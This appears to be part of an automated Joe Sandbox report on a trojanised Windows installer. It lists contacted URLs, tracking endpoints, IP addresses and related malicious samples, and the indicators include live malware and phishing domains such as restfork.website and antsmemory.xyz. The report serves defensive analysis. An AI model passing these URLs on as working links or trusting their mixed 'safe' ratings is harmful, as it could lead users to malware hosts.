http://beadhouse.xyz/api_pedl.php?spot=4&a=2713&on=415&o=1657	true	Avira URL Cloud: safe	unknown
https://beadhouse.xyz/ss.php?a=3984&cc=US&t=1705853516	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2713&on=416&o=1658	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2713&dn=424&spot=5&t=1705853516	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	false		high
https://destructionheat.site/tracker/thank_you.php?trk=2713	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3326529867.00000000024ED000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2073039458.00000000034B0000.00000004.00001000.00020000.00000000.sdmp	true	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=331&a=2713&dn=244&spot=3&t=17	nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1664&a=2713&dn=424&spot=5&t=17058	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://sto.farmscene.website/track_polos.php?tim=1705853516&rcc=US&c=2713&p=0.9Inno	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://digitalpulsedata.com/tos	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1664&a=2713&dn=424&spot=5&t=17	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1657&a=2713&dn=415&spot=4&t=17	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2713&dn=244&spot=3&	setup.exe, 00000003.00000002.3327644402.0000000005796000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://restfork.website/0	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3325973528.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1662&a=2713&dn=420&spot=1&t=17	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dub	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3326529867.0000000002518000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2175886129.0000000000949000.00000004.00000020.00020000.00000000.sdmp, is-FJM9D.tmp.2.dr	false	Avira URL Cloud: phishing	unknown
http://sto.farmscene.website/track_uki.php?tim=1705853516&rcc=US&c=2713&p=0.92http://beadhouse.xyz/a	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=5&a=2713&on=424&o=1664Z	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1662&a=2713&dn=420&spot=1&t=1	nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://restfork.website/	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3325973528.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	false	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1658&a=2713&dn=416&spot=6&t=1	nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1662&a=2713&dn=420&spot=1&t=17058	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1661&a=2713&dn=419&spot=2&t=17058	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1664&a=2713&dn=424&spot=5&t=1	nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2713&dn=420&spot=1	setup.exe, 00000003.00000002.3326439117.000000000087E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://www.pcmaintainer.com/eula	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false		high
https://beadhouse.xyz/ss.php?a=3984&cc=US&t=1705853516InnoDownloadPlugin/1.5/USERAGENT/silentget1023	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://sto.farmscene.website/track_polos.php?tim=1705853516&rcc=US&c=2713&p=0.9	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2713&dn=415&spot=4	setup.exe, 00000003.00000002.3326439117.000000000084E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3327644402.0000000005796000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1661&a=2713&dn=419&spot=2&t=17	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2713&dn=424&spot=5	setup.exe, 00000003.00000002.3327644402.0000000005796000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://www.remobjects.com/ps	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2069630823.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2069178299.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000000.2071466897.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-J0573.tmp.2.dr, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp.0.dr	false	URL Reputation: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=3&a=2713&on=244&o=331p_w	setup.exe, 00000003.00000002.3326439117.000000000081D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.innosetup.com/	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2069630823.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2069178299.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000000.2071466897.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-J0573.tmp.2.dr, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp.0.dr	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://sto.farmscene.website/track_uki.php?tim=1705853516&rcc=US&c=2713&p=0.92	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://beadhouse.xyz/	setup.exe, 00000003.00000002.3326439117.0000000000865000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2713&dn=419&spot=2	setup.exe, 00000003.00000002.3326439117.000000000081D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3327644402.0000000005796000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1657&a=2713&dn=415&spot=4&t=17058	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://restfork.website/LP	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3325973528.0000000000952000.00000004.00000020.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2175886129.0000000000949000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://legal.opera.com/eula/computers/	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false		high
https://www.7-zip.org/	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2073039458.00000000034B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://antsmemory.xyz/N	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2175886129.0000000000949000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://antsmemory.xyz/R	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2175886129.0000000000949000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://antsmemory.xyz/	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2175886129.0000000000949000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://advancedmanager.io/eula	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2713&dn=416&spot=6	setup.exe, 00000003.00000002.3327644402.0000000005796000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=4&a=2713&on=415&o=16574	setup.exe, 00000003.00000002.3326439117.000000000087E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=331&a=2713&dn=244&spot=3&t=170585	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1657&a=2713&dn=415&spot=4&t=1	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://windactivity.online/bo.php?p=3984&t=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT2	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2068083005.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000002.3326139411.0000000002293000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3326529867.000000000250A000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3327797225.00000000037CD000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3327797225.000000000378A000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2073039458.00000000034B0000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://advancedmanager.io/privacy-policy	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://restfork.website/bo.php?p=3984&t=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25sa	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000003.2068083005.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, 00000000.00000002.3326139411.0000000002293000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3326529867.000000000250A000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3327797225.00000000037CD000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3327797225.000000000378A000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3327797225.00000000037D7000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2073039458.00000000034B0000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.2.dr	false	Avira URL Cloud: malware	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1658&a=2713&dn=416&spot=6&t=17	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1661&a=2713&dn=419&spot=2&t=1	nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	setup.exe, 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmp, setup.exe, 00000003.00000000.2179117700.0000000000409000.00000008.00000001.01000000.00000007.sdmp, is-GGPGD.tmp.2.dr, is-T7UL9.tmp.2.dr	false		high
http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZ	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3325973528.000000000092A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://nsis.sf.net/NSIS_Error	setup.exe, setup.exe, 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmp, setup.exe, 00000003.00000000.2179117700.0000000000409000.00000008.00000001.01000000.00000007.sdmp, is-GGPGD.tmp.2.dr, is-T7UL9.tmp.2.dr	false		high
http://www.thedownloadplanet.com/termsofuse	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2713&on=416&o=1658R	setup.exe, 00000003.00000002.3327644402.0000000005796000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcmaintainer.com/privacy	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: malware	unknown
http://beadhouse.xyz/api_pedl.php?spot=4&a=2713&on=415&o=1657up_0.exe	setup.exe, 00000003.00000002.3327644402.0000000005780000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1658&a=2713&dn=416&spot=6&t=17058	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://restfork.webss	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3325973528.0000000000952000.00000004.00000020.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2175886129.0000000000949000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://legal.opera.com/privacy/	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=331&a=2713&dn=244&spot=3&t=170	setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2713&on=416&o=1658d	setup.exe, 00000003.00000002.3326439117.000000000087E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.23.90	antsmemory.xyz	United States	13335	CLOUDFLARENETUS	true
172.67.219.140	beadhouse.xyz	United States	13335	CLOUDFLARENETUS	true
172.67.206.124	restfork.website	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1378307
Start date and time:	2024-01-21 17:11:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe
Detection:	MAL
Classification:	mal42.troj.winEXE@5/24@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 40 Number of non-executed functions: 26
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.23.90	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	antsmemory.xyz/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ%3D%3D&ti=1705852625
104.21.23.90	SHIPPING INVOICE DOCUMENTS.pdf.exe	Get hash	malicious	FormBook	Browse	www.tucasalux.com/fi46/?G2J0a=S9ckRkC5Zlq2si4aSMqWBNnchpYnzzStJ8Ll3sSv33rXiRp7R2438sXvfl6roQSZJLP4&mVrDRn=04yl7v
172.67.219.140	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1670&a=2598&dn=434&spot=6&t=1705850519
172.67.206.124	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	restfork.website/boa.php
172.67.206.124	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	restfork.website/boa.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
restfork.website	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	172.67.206.124
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	172.67.206.124
	92C190098753E597DC70B123CCD7CC790A6123A9622ED.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
beadhouse.xyz	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	06e1d13364b76b83f833ca1ff7851fb37e09f2ad2fe41.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	oREY4oLwHG.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	2Mmd9FBNnQ.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
antsmemory.xyz	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	104.21.23.90
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	w1J9KDIC0m.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	sq5W8v3VZV.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	w1J9KDIC0m.exe	Get hash	malicious	Unknown	Browse	172.67.210.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	630DB15B4A855CA42E13666E2046C639A4C2847E0D1FC.exe	Get hash	malicious	AsyncRAT	Browse	104.20.23.46
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	file.exe	Get hash	malicious	LummaC, zgRAT	Browse	172.67.176.158
	06e1d13364b76b83f833ca1ff7851fb37e09f2ad2fe41.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	SecuriteInfo.com.Trojan.Win64.Vmprotect.10850.25534.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	SecuriteInfo.com.Trojan.Win64.Vmprotect.10850.25534.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	BbTm8TrVqb.exe	Get hash	malicious	LummaC, AsyncRAT, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer	Browse	104.21.35.143
	SecuriteInfo.com.Trojan-Spy.AgentTesla.19330.30734.exe	Get hash	malicious	Unknown	Browse	172.64.151.238
	SecuriteInfo.com.Trojan-Spy.AgentTesla.19330.30734.exe	Get hash	malicious	Unknown	Browse	172.64.151.101
	TgzLrzVYBu.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	qRNGy553ii.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	DOC_SCANNER_847464_8474.vbs	Get hash	malicious	Remcos	Browse	172.67.135.130
	PuZwdDGX86.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	B5pYT6AvvO.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Paid_invoice.vbs	Get hash	malicious	XWorm	Browse	104.21.84.67
	Gcn7BdFE9N.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	172.67.175.187
	oREY4oLwHG.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	2Mmd9FBNnQ.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	https://getnindscompany.com/JZRE5bGyD2RzGES8kTpkzQXBOgA0GrGylWAB3lx1LEE	Get hash	malicious	Unknown	Browse	172.67.72.9
CLOUDFLARENETUS	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	630DB15B4A855CA42E13666E2046C639A4C2847E0D1FC.exe	Get hash	malicious	AsyncRAT	Browse	104.20.23.46
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	file.exe	Get hash	malicious	LummaC, zgRAT	Browse	172.67.176.158
	06e1d13364b76b83f833ca1ff7851fb37e09f2ad2fe41.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	SecuriteInfo.com.Trojan.Win64.Vmprotect.10850.25534.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	SecuriteInfo.com.Trojan.Win64.Vmprotect.10850.25534.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	BbTm8TrVqb.exe	Get hash	malicious	LummaC, AsyncRAT, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer	Browse	104.21.35.143
	SecuriteInfo.com.Trojan-Spy.AgentTesla.19330.30734.exe	Get hash	malicious	Unknown	Browse	172.64.151.238
	SecuriteInfo.com.Trojan-Spy.AgentTesla.19330.30734.exe	Get hash	malicious	Unknown	Browse	172.64.151.101
	TgzLrzVYBu.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
